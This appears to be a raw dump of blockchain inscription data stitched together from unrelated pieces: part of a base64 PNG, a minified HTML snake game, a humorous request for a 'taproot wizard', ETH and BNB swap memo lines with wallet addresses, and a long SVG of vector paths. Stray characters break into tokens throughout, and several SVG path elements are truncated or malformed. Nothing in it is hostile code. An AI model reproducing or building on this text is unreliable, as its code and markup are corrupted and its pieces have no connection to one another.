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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canM
vas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRaM
ndomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dyJ&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/plain;charset=utf-8
I hope this message finds you in good spirits and high energy levels! I am reaching out to you with a very specific request - I need a taproot wizard! I know this may sound like an odd request, but trust me, it's all part of my grand master plan to take over the world (just kidding, or am I?).
In all seriousness, I have heard that you are the go-to person when it comes to all things magical, and I am in desperate need of a taproot wizard to help me with a project. I promise to take good care of the M
wizard and provide him/her with all the necessary sustenance (and maybe some extra treats too).
So, pretty please with sugar on top, could you spare me a taproot wizard? I promise to return him/her in one piece (or at least mostly intact) and will be eternally grateful for your help.
Thank you in advance for your consideration, and I hope to hear from you soon.
@j>=:ETH.ETH:0xe9167B421403ad40Bd13c45B4be22EF4667bA485:640200::0
Bj@=:BNB.BNB:bnb16pt7acdr2y0y3zjljw0c70sehyagfhtl9f4u7g:630325:te:0
IjG=:BNB.BUSD-BD1:bnb12rxr737kq9lmdy67saturpchsyryfxa0xc90yt:89507904:te:0
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 25.4.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 1200 1200" style="enable-background:new 0 0 1200 1200;" xml:space="preserve">
		<path d="M616.05,822.08c-0.9,0-1.8,0.62-1.87,1.6l-3.47,41.48c0,0.49,0.14,0.9,0.41,1.25c0.28,0.35,0.69,0.56,1.18,0.63
			c0.07,0,0.14,0,0.14,0c0.9,0,1.66-0.7M
,1.73-1.6l3.47-41.48C617.71,822.99,617.02,822.15,616.05,822.08z"/>
		<path d="M626.45,697.63c-0.07,0-0.07,0-0.14,0c-0.91,0-1.67,0.69-1.73,1.59l-3.47,41.49c0,0.48,0.07,0.9,0.41,1.25
			c0.28,0.35,0.69,0.56,1.18,0.62c0.07,0,0.14,0,0.14,0c0.9,0,1.66-0.69,1.73-1.59l3.47-41.49
			C628.12,698.6,627.42,697.76,626.45,697.63z"/>
		<path d="M621.81,752.92c-0.83,0.07-1.73,0.69-1.88,1.59l-0.55,6.94c-0.07,0.9,0.62,1.81,1.59,1.88h0.14c0.9,0,1.66-0.7,1.73-1.6
			l0.55-6.86C623.47,753.89,622.77,753.05,621.81,752.92z"/>
M618.34,794.4c-0.77-0.07-1.73,0.63-1.88,1.6c0,0.49,0.14,0.97,0.42,1.31c0.35,0.35,0.77,0.56,1.18,0.56
			c0.07,0,0.07,0,0.14,0c0.91,0,1.67-0.69,1.73-1.59C620,795.3,619.31,794.48,618.34,794.4z"/>
		<path d="M607.37,925.8c-0.77,0.07-1.8,0.62-1.87,1.59l-1.19,13.81c0,0.42,0.14,0.9,0.42,1.25c0.28,0.35,0.77,0.55,1.25,0.62h0.07
			c0.91,0,1.67-0.7,1.73-1.6l1.19-13.81c0-0.48-0.14-0.9-0.42-1.25C608.21,926.08,607.79,925.8,607.37,925.8z"/>
		<path d="M608,918.87c-0.9-0.14-1.8,0.62-1.94,1.59c-0.07,0.98,0.7,1.81,1.6,1.88c0.07,0,M
0.07,0,0.14,0c0.91,0,1.67-0.69,1.73-1.6
			c0.07-0.48-0.07-0.9-0.41-1.25C608.83,919.14,608.42,918.93,608,918.87z"/>
		<path d="M611.4,877.38c-0.83,0-1.73,0.63-1.88,1.6l-0.55,6.94c-0.07,0.97,0.62,1.73,1.59,1.87h0.14c0.9,0,1.66-0.69,1.73-1.59
			l0.55-6.94C613.07,878.35,612.37,877.52,611.4,877.38z"/>
		<path d="M667.94,675.7c-0.49-0.77-1.6-0.98-2.36-0.42c-0.76,0.49-0.97,1.6-0.41,2.36l7.91,11.38c0.35,0.48,0.9,0.76,1.46,0.76
			c0.35,0,0.7-0.14,0.98-0.35c0.76-0.56,0.97-1.59,0.41-2.36L667.94,675.7z"/>
,676.88c-0.9,0.07-1.73,0.62-1.87,1.59l-1.11,13.81c-0.14,0.97,0.62,1.8,1.52,1.94c0.07,0,0.14,0,0.14,0
			c0.91,0,1.67-0.7,1.81-1.6l1.11-13.88C629.85,677.85,629.16,676.95,628.19,676.88z"/>
		<path d="M711.65,738.28c-0.56-0.76-1.67-0.97-2.43-0.48c-0.35,0.27-0.62,0.69-0.69,1.18c-0.07,0.41,0,0.9,0.28,1.25l23.86,34.13
			c0.28,0.49,0.83,0.77,1.39,0.77c0.35,0,0.7-0.14,1.04-0.35c0.76-0.55,0.9-1.59,0.35-2.36L711.65,738.28z"/>
		<path d="M677.44,692.28c-0.35,0.28-0.62,0.69-0.69,1.18c-0.07,0.42,0,0.9,0.28,1.25c0.35,0.49,0.9,0M
			c0.35,0,0.69-0.14,0.97-0.28c0.83-0.62,0.98-1.67,0.42-2.43C679.39,692,678.27,691.79,677.44,692.28z"/>
		<path d="M699.71,721.14c-0.48-0.69-1.66-0.9-2.36-0.35c-0.41,0.2-0.69,0.62-0.76,1.04c-0.07,0.49,0.07,0.98,0.35,1.32l3.96,5.69
			c0.27,0.48,0.83,0.76,1.38,0.76c0.42,0,0.7-0.14,1.04-0.35s0.62-0.62,0.69-1.11c0.07-0.41-0.07-0.9-0.35-1.25L699.71,721.14z"/>
		<path d="M640.19,635.88c-0.56-0.77-1.67-0.97-2.43-0.41c-0.77,0.48-0.97,1.59-0.41,2.36l23.79,34.13c0.35,0.48,0.9,0.76,1.46,0.76
			c0.35,0,0.69-0.1M
4,0.97-0.35c0.77-0.48,0.98-1.59,0.42-2.36L640.19,635.88z"/>
		<path d="M628.81,670.01c-0.9-0.07-1.8,0.62-1.94,1.6c-0.07,0.9,0.7,1.73,1.6,1.8c0.07,0,0.14,0.07,0.14,0.07
			c0.91,0,1.67-0.69,1.81-1.67C630.41,670.91,629.71,670.08,628.81,670.01z"/>
		<path d="M632.28,628.53c-0.97,0-1.8,0.62-1.94,1.59l-0.55,6.87c-0.07,0.97,0.62,1.8,1.59,1.87c0,0,0.07,0,0.14,0
			c0.9,0,1.66-0.62,1.73-1.59l0.55-6.87C633.88,629.43,633.18,628.6,632.28,628.53z"/>
		<path d="M617.78,801.34c-0.9,0.07-1.8,0.63-1.87,1.6l-1.19,13.81c-0.07,0.97,0M
.63,1.8,1.6,1.87h0.14c0.91,0,1.67-0.62,1.73-1.59
			l1.19-13.81c0.07-0.42-0.14-0.9-0.42-1.25C618.68,801.62,618.27,801.41,617.78,801.34z"/>
		<path d="M1026.81,169.42c-0.89-1.08-2.47-1.29-3.59-0.43L634.4,463.37l-33.06-292.6c-0.15-1.37-1.25-2.55-2.74-2.3
			c-1.38,0.07-2.45,1.21-2.45,2.59v7.31l-0.64,5.25c-0.07,0.49,0.07,0.91,0.35,1.25c0.07,0.1,0.21,0.09,0.29,0.17v10.95
			c-0.1-0.03-0.19-0.09-0.29-0.09c-0.97-0.21-1.8,0.56-1.94,1.52l-4.85,41.35c0,0.42,0.07,0.9,0.41,1.25
			c0.28,0.35,0.69,0.62,1.11,0.62c0.9,0.14,1.87-M
0.56,1.94-1.53l3.62-30.69v326.89L202.1,191.1c0.31-0.73,0.22-1.59-0.44-2.07
			l-5.47-4.16c-0.42-0.34-0.96-0.35-1.47-0.23l-17.79-15.54c-1.06-0.93-2.66-0.84-3.61,0.18c-0.96,1.02-0.93,2.62,0.05,3.62
			l374.73,376.25l-11.76,26.24c-0.41,0.9,0,1.94,0.83,2.29c0.28,0.14,0.49,0.2,0.77,0.2c0.69,0,1.25-0.41,1.52-1.04l11.84-26.41
			l42.38-6.04L442.44,793.54l11.96-26.75c0.41-0.9,0-1.88-0.83-2.29c-0.9-0.42-1.88,0-2.29,0.9l-17,37.95
			c-0.21,0.42-0.21,0.9-0.07,1.32c0.21,0.48,0.49,0.76,0.89,0.96l-1.94,3.19c-0.71-0.05-1.45,0.2-1M
.73,0.91l-3.38,7.51l-3.51,5.78
			c-0.73,1.2-0.37,2.76,0.8,3.52c1.18,0.78,2.75,0.47,3.55-0.68l133.26-189.93l34,393.25c0.12,1.35,1.25,2.38,2.59,2.38
			c0.03,0,0.07,0,0.12,0c1.39-0.06,2.49-1.21,2.49-2.6v-17.16c0.37-0.29,0.64-0.68,0.68-1.16l0.55-6.94
			c0.06-0.82-0.49-1.45-1.23-1.69v-10.84c0.19,0.08,0.32,0.26,0.54,0.26c0.07,0.07,0.07,0.07,0.14,0.07c0.9,0,1.66-0.76,1.73-1.59
			l3.47-41.49c0.07-0.97-0.63-1.8-1.6-1.87c-0.83,0.07-1.8,0.62-1.87,1.59l-2.42,28.88V550.38l137.37,227.25
			c-0.55-0.26-1.17-0.34-1.68-0.02c-0.M
77,0.62-0.98,1.67-0.42,2.43l7.91,11.38c0.56,0.77,1.67,0.97,2.43,0.41
			c0.11-0.05,0.1-0.19,0.18-0.27l1.87,3.1c-0.01,0.01-0.03,0.01-0.04,0.01c-0.77,0.56-0.98,1.67-0.49,2.43
			c0.52,0.71,1.52,0.88,2.28,0.45l19.33,31.98c0.49,0.81,1.35,1.25,2.23,1.25c0.41,0,0.82-0.09,1.21-0.3
			c1.22-0.64,1.73-2.11,1.17-3.37l-125-279.48l3.05-3c0.62-0.69,0.62-1.8-0.07-2.49c-0.62-0.62-1.73-0.62-2.36,0h-0.07l-3.15,3.15
			l-42.34-6.03l374.12-324.89l-4.43,4.41c-0.35,0.35-0.56,0.83-0.49,1.25c0,0.49,0.14,0.91,0.49,1.25c0.35,0.28,0.76,0.48M
			c0.42,0,0.9-0.2,1.18-0.48l29.48-29.42c0.35-0.35,0.56-0.77,0.49-1.25c0-0.16-0.13-0.25-0.16-0.39l3.27-2.83
			c0.49,0.02,0.98-0.09,1.33-0.45l5.68-5.64l9.54-8.28C1027.55,172.1,1027.7,170.51,1026.81,169.42z"/>
		<path d="M460.09,754.1l2.85-6.31c0.42-0.83,0-1.87-0.9-2.29c-0.83-0.41-1.87,0.07-2.22,0.9l-2.85,6.31
			c-0.21,0.42-0.21,0.9-0.07,1.32c0.21,0.41,0.49,0.76,0.91,0.97c0.28,0.07,0.48,0.14,0.76,0.14
			C459.18,755.14,459.82,754.72,460.09,754.1z"/>
		<path d="M533.49,581.77l-5.68,12.62c-0.35,0.91,0,1.88M
,0.9,2.29c0.21,0.14,0.49,0.14,0.69,0.14c0.7,0,1.32-0.35,1.6-0.98
			l5.62-12.69c0.42-0.83,0-1.88-0.83-2.29C534.88,580.52,533.84,580.94,533.49,581.77z"/>
		<path d="M511.15,640.11l2.85-6.31c0.35-0.83,0-1.88-0.9-2.29c-0.9-0.35-1.94,0.07-2.29,0.9l-2.85,6.31c-0.35,0.9,0,1.94,0.9,2.29
			c0.21,0.14,0.42,0.14,0.7,0.14C510.25,641.15,510.87,640.74,511.15,640.11z"/>
		<path d="M524.96,600.7c-0.14,0.49-0.21,0.9,0,1.39c0.14,0.42,0.49,0.77,0.9,0.97c0.21,0.07,0.49,0.14,0.69,0.14
			c0.7,0,1.32-0.42,1.6-1.04c0.35-0.9,0-1.87-0.9-M
2.29C526.41,599.53,525.37,599.87,524.96,600.7z"/>
		<path d="M473.96,714.69c-0.2,0.48-0.2,0.9-0.07,1.38c0.21,0.42,0.49,0.77,0.9,0.91c0.28,0.14,0.49,0.2,0.77,0.2
			c0.62,0,1.25-0.41,1.52-1.04c0.42-0.9,0-1.94-0.83-2.29C475.35,713.44,474.31,713.86,473.96,714.69z"/>
		<path d="M482.43,695.75l-5.62,12.63c-0.2,0.41-0.2,0.9-0.07,1.31c0.14,0.42,0.49,0.77,0.9,0.98c0.28,0.14,0.49,0.14,0.7,0.14
			c0.69,0,1.31-0.41,1.59-1.04l5.69-12.63c0.35-0.9,0-1.88-0.9-2.29C483.89,694.5,482.84,694.85,482.43,695.75z"/>
		<path d="M502.27,6M
51.42l-16.99,37.95c-0.35,0.9,0,1.94,0.9,2.29c0.2,0.14,0.48,0.14,0.69,0.14c0.7,0,1.32-0.35,1.6-0.97
			l16.99-38.01c0.35-0.91,0-1.88-0.9-2.29C503.72,650.17,502.69,650.59,502.27,651.42z"/>
		<path d="M542.16,579.34l-5.68,12.63c-0.14,0.41-0.21,0.9,0,1.32c0.14,0.48,0.48,0.83,0.9,0.97c0.21,0.14,0.49,0.14,0.69,0.14
			c0.7,0,1.32-0.35,1.6-0.97l5.68-12.7c0.35-0.83,0-1.87-0.9-2.29C543.61,578.09,542.58,578.5,542.16,579.34z"/>
		<path d="M555.06,552.49c-0.62,0.14-1.11,0.49-1.32,1.04L545,572.95c-0.2,0.42-0.2,0.9-0.07,1.39c0.2M
1,0.42,0.49,0.77,0.9,0.97
			c0.28,0.07,0.49,0.14,0.77,0.14c0.69,0,1.31-0.42,1.59-1.04v-0.07l8.6-19.29c0.21-0.35,0.28-0.69,0.21-1.04
			C556.87,553.04,555.97,552.35,555.06,552.49z"/>
		<path d="M536.13,632.62c0.55,0,1.1-0.28,1.46-0.83c0.2-0.42,0.28-0.83,0.2-1.32c-0.14-0.41-0.41-0.83-0.76-1.04
			c-0.83-0.49-1.94-0.21-2.43,0.56c-0.2,0.41-0.28,0.9-0.2,1.31c0.14,0.49,0.41,0.83,0.83,1.04
			C535.43,632.55,535.78,632.62,536.13,632.62z"/>
		<path d="M535.22,600.78c0.7,0,1.32-0.42,1.6-1.04c0.41-0.9,0-1.88-0.9-2.29c-0.83-0M
			c-0.35,0.83,0.07,1.88,0.9,2.29C534.74,600.7,535.02,600.78,535.22,600.78z"/>
		<path d="M556.18,594.39l-3.54,5.97c-0.56,0.77-0.28,1.88,0.56,2.36c0.28,0.21,0.55,0.28,0.9,0.28c0.56,0,1.18-0.35,1.46-0.83
			l3.6-5.96c0.21-0.42,0.35-0.83,0.21-1.32c-0.14-0.41-0.42-0.83-0.77-1.04C557.77,593.35,556.66,593.63,556.18,594.39z"/>
		<path d="M575.67,549.57l-13.73,1.94c-0.49,0.07-0.9,0.35-1.18,0.7c-0.28,0.35-0.35,0.83-0.28,1.25c0.07,0.9,0.83,1.52,1.67,1.52
			c0.07,0,0.2,0,0.27,0l13.74-1.94c0.49-0.07,0.9-0M
.35,1.11-0.69c0.28-0.41,0.41-0.83,0.35-1.32
			C577.48,550.13,576.57,549.44,575.67,549.57z"/>
		<path d="M487.57,708.31c0.14,0.48,0.41,0.9,0.83,1.18c0.28,0.14,0.56,0.2,0.91,0.2c0.62,0,1.18-0.28,1.46-0.76l3.6-5.97
			c0.49-0.83,0.21-1.87-0.56-2.36c-0.77-0.49-1.87-0.21-2.36,0.49l2.85-6.39c0.41-0.9,0-1.87-0.83-2.28c-0.9-0.35-1.94,0-2.29,0.83
			l-5.69,12.7c-0.41,0.9,0,1.88,0.83,2.29C486.73,708.45,487.15,708.45,487.57,708.31z"/>
		<path d="M498.39,690.62c0.14,0.42,0.41,0.83,0.77,1.04c0.28,0.21,0.62,0.28,0.9,0.28c0.62,0M
,1.18-0.35,1.52-0.83l21.58-35.59
			c0.48-0.83,0.28-1.88-0.56-2.36c-0.77-0.49-1.94-0.21-2.36,0.56L498.6,689.3C498.39,689.71,498.32,690.13,498.39,690.62z"/>
		<path d="M482.63,712.26c-0.2,0.42-0.2,0.9-0.07,1.39c0.21,0.41,0.49,0.77,0.9,0.9c0.28,0.14,0.49,0.21,0.77,0.21
			c0.69,0,1.32-0.42,1.6-1.04c0.14-0.41,0.14-0.9,0-1.39c-0.14-0.41-0.49-0.76-0.91-0.9C484.1,711.02,482.99,711.43,482.63,712.26z"
		<path d="M524.4,650.17c0.21,0.14,0.56,0.28,0.9,0.28c0.56,0,1.18-0.35,1.46-0.83l7.22-11.86c0.21-0.41,0.28-0.9,0.21-1M
			c-0.14-0.49-0.42-0.83-0.77-1.11c-0.83-0.49-1.87-0.21-2.43,0.56l-7.22,11.93C523.29,648.58,523.57,649.69,524.4,650.17z"/>
		<path d="M494.85,689.23c0.2,0.14,0.48,0.2,0.69,0.2c0.7,0,1.32-0.41,1.6-1.04l16.99-38.02c0.42-0.83,0-1.87-0.83-2.29
			c-0.91-0.35-1.94,0.07-2.29,0.9l-17.07,37.95C493.6,687.84,494.02,688.88,494.85,689.23z"/>
		<path d="M519.82,637.75l2.85-6.38c0.35-0.83,0-1.87-0.9-2.29c-0.83-0.35-1.88,0.07-2.29,0.91l-2.85,6.31
			c-0.35,0.91,0,1.88,0.9,2.29c0.21,0.14,0.49,0.14,0.7,0.14C518.92,638.73,519.54M
,638.31,519.82,637.75z"/>
		<path d="M564.01,584.96c0.21,0.14,0.56,0.21,0.9,0.21c0.56,0,1.11-0.28,1.46-0.83l3.47-5.76c0.07-0.07,0.07-0.07,0.14-0.14
			l16.71-27.54c0.35-0.62,0.35-1.32-0.07-1.88c-0.35-0.55-0.97-0.9-1.67-0.76l-2.43,0.35c-0.49,0.07-0.9,0.35-1.18,0.69
			c-0.28,0.35-0.35,0.83-0.28,1.25c0.07,0.62,0.41,1.11,0.97,1.31l-18.66,30.66C562.9,583.36,563.18,584.47,564.01,584.96z"/>
		<path d="M542.37,595.85c-0.21,0.42-0.21,0.91-0.07,1.32c0.21,0.49,0.49,0.83,0.9,0.97c0.28,0.14,0.49,0.14,0.77,0.14
0.35,1.59-0.97c0.35-0.91,0-1.88-0.9-2.29C543.76,594.6,542.71,595.02,542.37,595.85z"/>
		<path d="M546.74,591.96c0.7,0,1.32-0.35,1.6-0.97l5.68-12.7c0.42-0.83,0-1.88-0.9-2.29c-0.83-0.35-1.87,0-2.29,0.83l-5.62,12.7
			c-0.41,0.9,0,1.94,0.83,2.29C546.26,591.96,546.53,591.96,546.74,591.96z"/>
		<path d="M564.22,571.15c-0.77-0.49-1.88-0.21-2.36,0.56l-21.58,35.59c-0.56,0.83-0.28,1.88,0.56,2.36
			c0.28,0.21,0.56,0.28,0.9,0.28c0.62,0,1.18-0.28,1.46-0.83l21.65-35.59C565.34,572.68,565.06,571.64,564.22,571.15z"/>
558.47,559.84l-4.79,10.68c-0.35,0.9,0,1.94,0.9,2.29c0.21,0.14,0.49,0.21,0.7,0.21c0.69,0,1.31-0.42,1.59-1.04
			l4.72-10.62c0.2-0.35,0.28-0.69,0.2-1.04c-0.14-0.98-0.97-1.6-1.94-1.46C559.22,558.94,558.74,559.29,558.47,559.84z"/>
		<path d="M529.46,625.06c-0.48,0.83-0.2,1.87,0.56,2.43c0.28,0.14,0.63,0.21,0.91,0.21c0.62,0,1.18-0.28,1.52-0.77l3.54-5.97
			c0.56-0.83,0.28-1.87-0.56-2.43c-0.77-0.41-1.87-0.14-2.36,0.62L529.46,625.06z"/>
		<path d="M565.26,567.06c0.07,0.49,0.42,0.83,0.77,1.11c0.28,0.2,0.62,0.28,0.9,0.28c0.6M
2,0,1.18-0.35,1.52-0.83l4.72-7.77
			c0.35-0.62,0.28-1.32-0.07-1.88c-0.35-0.55-1.04-0.83-1.66-0.76l-4.72,0.69c-0.48,0-0.9,0.28-1.18,0.62
			c-0.28,0.35-0.41,0.83-0.35,1.32c0.14,0.83,0.9,1.46,1.73,1.46c0.14,0,0.28,0.07,0.35,0l1.04-0.14l-2.85,4.65
			C565.19,566.16,565.13,566.64,565.26,567.06z"/>
		<path d="M282.35,254.87c0.35,0.21,0.69,0.35,1.04,0.35c0.56,0,1.11-0.28,1.39-0.69c0.28-0.35,0.41-0.83,0.35-1.25
			c-0.07-0.48-0.28-0.9-0.69-1.18l-33.1-25.25c-0.69-0.56-1.87-0.35-2.43,0.35c-0.28,0.42-0.42,0.83-0.35,1.32
c0.07,0.48,0.35,0.83,0.69,1.11L282.35,254.87z"/>
		<path d="M243.77,225.45c0.28,0.21,0.62,0.35,0.98,0.35c0.55,0,1.1-0.28,1.38-0.69c0.62-0.77,0.49-1.88-0.28-2.43l-11.03-8.4
			c-0.76-0.55-1.87-0.41-2.49,0.28c-0.28,0.42-0.35,0.83-0.28,1.32c0,0.41,0.28,0.83,0.62,1.18L243.77,225.45z"/>
		<path d="M228.23,213.17c0.56,0,1.04-0.28,1.39-0.7c0.28-0.35,0.42-0.83,0.35-1.31c-0.07-0.42-0.35-0.83-0.69-1.11
			c-0.69-0.56-1.87-0.42-2.43,0.35c-0.56,0.77-0.42,1.8,0.35,2.43C227.47,213.03,227.82,213.17,228.23,213.17z"/>
42.4,376.76c0.28,0.2,0.7,0.35,1.04,0.35c0.56,0,1.11-0.21,1.39-0.7c0.28-0.35,0.41-0.83,0.35-1.25
			c-0.07-0.49-0.28-0.9-0.7-1.18l-11.03-8.39c-0.69-0.56-1.87-0.42-2.43,0.35c-0.56,0.77-0.42,1.8,0.35,2.43L442.4,376.76z"/>
		<path d="M573.73,385.36c0.07,0,0.14,0,0.2,0c0.83,0,1.6-0.62,1.67-1.52l1.67-13.73c0.07-0.98-0.62-1.81-1.52-1.94
			c-1.04-0.14-1.88,0.56-1.94,1.52l-1.6,13.74c-0.07,0.48,0.07,0.97,0.35,1.31C572.82,385.08,573.24,385.36,573.73,385.36z"/>
		<path d="M298.93,267.42c0.28,0.28,0.62,0.42,1.04,0.42c0.55,0,1.M
04-0.28,1.38-0.7c0.28-0.35,0.42-0.83,0.35-1.25
			c-0.07-0.49-0.28-0.9-0.7-1.18l-5.48-4.23c-0.76-0.56-1.87-0.41-2.49,0.35c-0.56,0.76-0.35,1.87,0.35,2.43L298.93,267.42z"/>
		<path d="M572.9,392.3c0.07,0,0.14,0,0.14,0c0.9,0,1.67-0.69,1.8-1.52c0-0.49-0.14-0.97-0.41-1.32c-0.28-0.35-0.69-0.55-1.11-0.62
			c-0.97-0.07-1.8,0.56-1.94,1.53C571.23,391.26,571.92,392.16,572.9,392.3z"/>
		<path d="M563.05,468.69c0.35,0.2,0.69,0.35,1.04,0.35c0.28,0,0.49-0.07,0.7-0.14c0.56-0.28,0.97-0.76,1.1-1.39l2.5-21.64
			c0.07-0.91-0.62-1.81M
-1.52-1.94c-0.98-0.14-1.8,0.62-1.94,1.52l-2.15,18.59l-13.39-10.13c-0.76-0.62-1.87-0.41-2.43,0.28
			c-0.28,0.42-0.41,0.83-0.35,1.32c0.07,0.49,0.28,0.83,0.69,1.11L563.05,468.69z"/>
		<path d="M588.16,261.39c0.07,0,0.14,0,0.2,0c0.9,0,1.67-0.69,1.73-1.59l1.6-13.74c0.07-0.48-0.07-0.9-0.35-1.31
			c-0.28-0.35-0.7-0.56-1.11-0.62c-1.04-0.07-1.81,0.56-1.94,1.52l-1.6,13.81C586.56,260.42,587.25,261.25,588.16,261.39z"/>
		<path d="M587.39,268.26c0.07,0,0.14,0,0.21,0c0.9,0,1.59-0.69,1.73-1.52c0-0.49-0.07-0.9-0.42-1.32
8-0.35-0.69-0.56-1.11-0.62c-1.04-0.14-1.8,0.62-1.94,1.52C585.73,267.29,586.49,268.12,587.39,268.26z"/>
		<path d="M576.09,364.69c0.07,0,0.14,0,0.2,0c0.91,0,1.67-0.62,1.73-1.52l4.86-41.35c0.07-0.9-0.56-1.8-1.52-1.94
			c-1.04-0.14-1.8,0.62-1.94,1.59l-4.86,41.35c0,0.42,0.14,0.9,0.42,1.25C575.25,364.41,575.67,364.69,576.09,364.69z"/>
		<path d="M541.75,452.45c0.35,0.21,0.69,0.35,1.04,0.35c0.55,0,1.04-0.28,1.38-0.7c0.28-0.35,0.42-0.83,0.35-1.25
			c-0.07-0.49-0.28-0.9-0.63-1.18l-11.1-8.39c-0.69-0.56-1.87-0.42-2.43,0.35M
c-0.28,0.35-0.42,0.77-0.35,1.25
			c0.07,0.49,0.35,0.9,0.7,1.18L541.75,452.45z"/>
		<path d="M582.54,309.54c0.07,0.07,0.14,0.07,0.21,0.07c0.9,0,1.67-0.69,1.73-1.52l0.83-6.94c0.07-0.9-0.62-1.8-1.53-1.94
			c-0.97-0.07-1.87,0.62-1.94,1.6l-0.83,6.87c0,0.48,0.14,0.9,0.41,1.31C581.7,309.33,582.12,309.54,582.54,309.54z"/>
		<path d="M568.04,433.65c0.07,0,0.14,0,0.21,0c0.9,0,1.66-0.69,1.73-1.52l0.83-6.94c0.07-0.9-0.63-1.8-1.53-1.94
			c-0.97-0.07-1.87,0.63-1.94,1.53l-0.83,6.94C566.44,432.68,567.07,433.51,568.04,433.65z"/>M
